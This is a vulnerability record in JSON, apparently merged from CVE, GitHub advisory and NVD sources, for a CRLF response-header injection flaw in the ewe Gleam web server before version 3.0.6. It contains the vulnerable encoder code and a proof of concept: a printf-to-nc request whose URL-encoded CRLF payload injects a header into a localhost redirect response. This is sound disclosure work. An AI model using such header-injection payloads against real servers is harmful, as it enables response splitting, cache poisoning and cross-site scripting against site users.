{"id":"CVE-2026-34715","aliases":["CVE-2026-34715","GHSA-x2w3-23jr-hrpf"],"related":[],"kind":"vulnerability","state":"published","title":"ewe Has Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting)","summary":"ewe is a Gleam web server. Prior to version 3.0.6, the encode_headers function in src/ewe/internal/encoder.gleam directly interpolates response header keys and values into raw HTTP bytes without validating or stripping CRLF (\\r\\n) sequences. An application that passes user-controlled data into response headers (e.g., setting a Location redirect header from a request parameter) allows an attacker to inject arbitrary HTTP response content, leading to response splitting, cache poisoning, and possible cross-site scripting. Notably, ewe does validate CRLF in incoming request headers via validate_field_value() in the HTTP/1.1 parser — but provides no equivalent protection for outgoing response headers in the encoder. This issue has been patched in version 3.0.6.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"ewe is a Gleam web server. Prior to version 3.0.6, the encode_headers function in src/ewe/internal/encoder.gleam directly interpolates response header keys and values into raw HTTP bytes without validating or stripping CRLF (\\r\\n) sequences. An application that passes user-controlled data into response headers (e.g., setting a Location redirect header from a request parameter) allows an attacker to inject arbitrary HTTP response content, leading to response splitting, cache poisoning, and possible cross-site scripting. Notably, ewe does validate CRLF in incoming request headers via validate_field_value() in the HTTP/1.1 parser — but provides no equivalent protection for outgoing response headers in the encoder. This issue has been patched in version 3.0.6.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe `encode_headers` function in `src/ewe/internal/encoder.gleam` directly interpolates response header keys and values into raw HTTP bytes without validating or stripping CRLF (`\\r\\n`) sequences. An application that passes user-controlled data into response headers (e.g., setting a `Location` redirect header from a request parameter) allows an attacker to inject arbitrary HTTP response content, leading to response splitting, cache poisoning, and possible cross-site scripting.\n\nNotably, ewe *does* validate CRLF in **incoming** request headers via `validate_field_value()` in the HTTP/1.1 parser — but provides no equivalent protection for **outgoing** response headers in the encoder.\n\n### Details\n\n**File:** `src/ewe/internal/encoder.gleam`\n\n**Vulnerable code:**\n```gleam\nfn encode_headers(headers: List(#(String, String))) -> BitArray {\n  let headers =\n    list.fold(headers, <<>>, fn(acc, headers) {\n      let #(key, value) = headers\n      <<acc:bits, key:utf8, \": \", value:utf8, \"\\r\\n\">>\n    })\n\n  <<headers:bits, \"\\r\\n\">>\n}\n```\n\nBoth `key` and `value` are embedded directly into the `BitArray` output. If either contains `\\r\\n`, the resulting bytes become a structurally valid but attacker-controlled HTTP response, terminating the current header early and injecting new headers or a second HTTP response.\n\n**Contrast with request parsing** (`src/ewe/internal/http1.gleam`): incoming header values are protected:\n```gleam\nuse value <- try(\n  validate_field_value(value) |> replace_error(InvalidHeaders)\n)\n```\n\nNo analogous validation exists for outgoing header values in the encoder. The solution is to strip or reject `\\r` (0x0D) and `\\n` (0x0A) from all header key and value strings in `encode_headers` before encoding, mirroring the validation already applied to incoming request headers via `validate_field_value()`\n\n### PoC\n\nAn ewe application echoes a user-supplied redirect URL into a `Location` header:\n\n```gleam\nfn handle_request(req: Request) -> Response {\n  let redirect_url =\n    request.get_query(req)\n    |> result.try(list.key_find(_, \"next\"))\n    |> result.unwrap(\"/home\")\n\n  response.new(302)\n  |> response.set_header(\"location\", redirect_url)\n  |> response.set_body(ewe.Empty)\n}\n```\n\nAttacker request:\n```bash\nprintf 'GET /?next=https://example.com%%0d%%0aX-Injected:%%20true HTTP/1.1\\r\\nHost: localhost\\r\\n\\r\\n' | nc -w 2 localhost 8080\n```\n\nResulting response:\n```\nHTTP/1.1 302 Found\nlocation: https://example.com\nX-Injected: true\ncontent-length: 0\ndate: Tue, 24 Mar 2026 07:53:00 GMT\nconnection: keep-alive\n\n\n```\n\nThe `X-Injected: true` header appears as a separate response header, confirming that CRLF sequences in user input are not sanitized by the encoder.","format":"markdown","source":"ghsa"},{"lang":"es","text":"ewe es un servidor web Gleam. Antes de la versión 3.0.6, la función encode_headers en src/ewe/internal/encoder.gleam interpola directamente las claves y valores de los encabezados de respuesta en bytes HTTP sin procesar sin validar o eliminar las secuencias CRLF (\\r\\n). Una aplicación que pasa datos controlados por el usuario a los encabezados de respuesta (por ejemplo, estableciendo un encabezado de redirección Location a partir de un parámetro de solicitud) permite a un atacante inyectar contenido de respuesta HTTP arbitrario, lo que lleva a la división de respuesta, envenenamiento de caché y posible cross-site scripting. Cabe destacar que ewe sí valida CRLF en los encabezados de solicitud entrantes a través de validate_field_value() en el analizador HTTP/1.1 - pero no proporciona protección equivalente para los encabezados de respuesta salientes en el codificador. Este problema ha sido parcheado en la versión 3.0.6.","source":"nvd"}],"published":"2026-04-01T22:18:27.000Z","modified":"2026-07-24T21:10:00.143Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","score":5.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","score":5.3,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","score":5.3,"rating":"MEDIUM"}],"cwes":["CWE-113"],"affected":[{"ranges":[{"version":"< 3.0.6","status":"affected"}],"vendor":"vshakitskiy","product":"ewe","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.0.6"}],"ecosystem":"Hex","package":"ewe","purl":"pkg:hex/ewe","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"3.0.6"}],"vendor":"vshakitskiy","product":"ewe","cpe":"cpe:2.3:a:vshakitskiy:ewe:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/vshakitskiy/ewe/security/advisories/GHSA-x2w3-23jr-hrpf","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/vshakitskiy/ewe/commit/ce4ff214d32626a10fda9398dc94a2d720e17446","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/vshakitskiy/ewe/releases/tag/v3.0.6","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34715","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/vshakitskiy/ewe","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-04-03T16:00:11.591Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-34715","url":"https://www.cve.org/CVERecord?id=CVE-2026-34715","licence":"CVE Terms of Use","modified":"2026-04-03T16:00:41.121Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-x2w3-23jr-hrpf","url":"https://github.com/advisories/GHSA-x2w3-23jr-hrpf","licence":"CC-BY-4.0","modified":"2026-04-06T17:37:59.740Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-34715","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34715","licence":"Public domain","modified":"2026-07-24T21:10:00.143Z"}],"updatedAt":"2026-11-25T22:59:17.831Z","epss":{"score":0.00478,"percentile":0.33645,"date":"2026-11-30T12:00:22.000Z"}}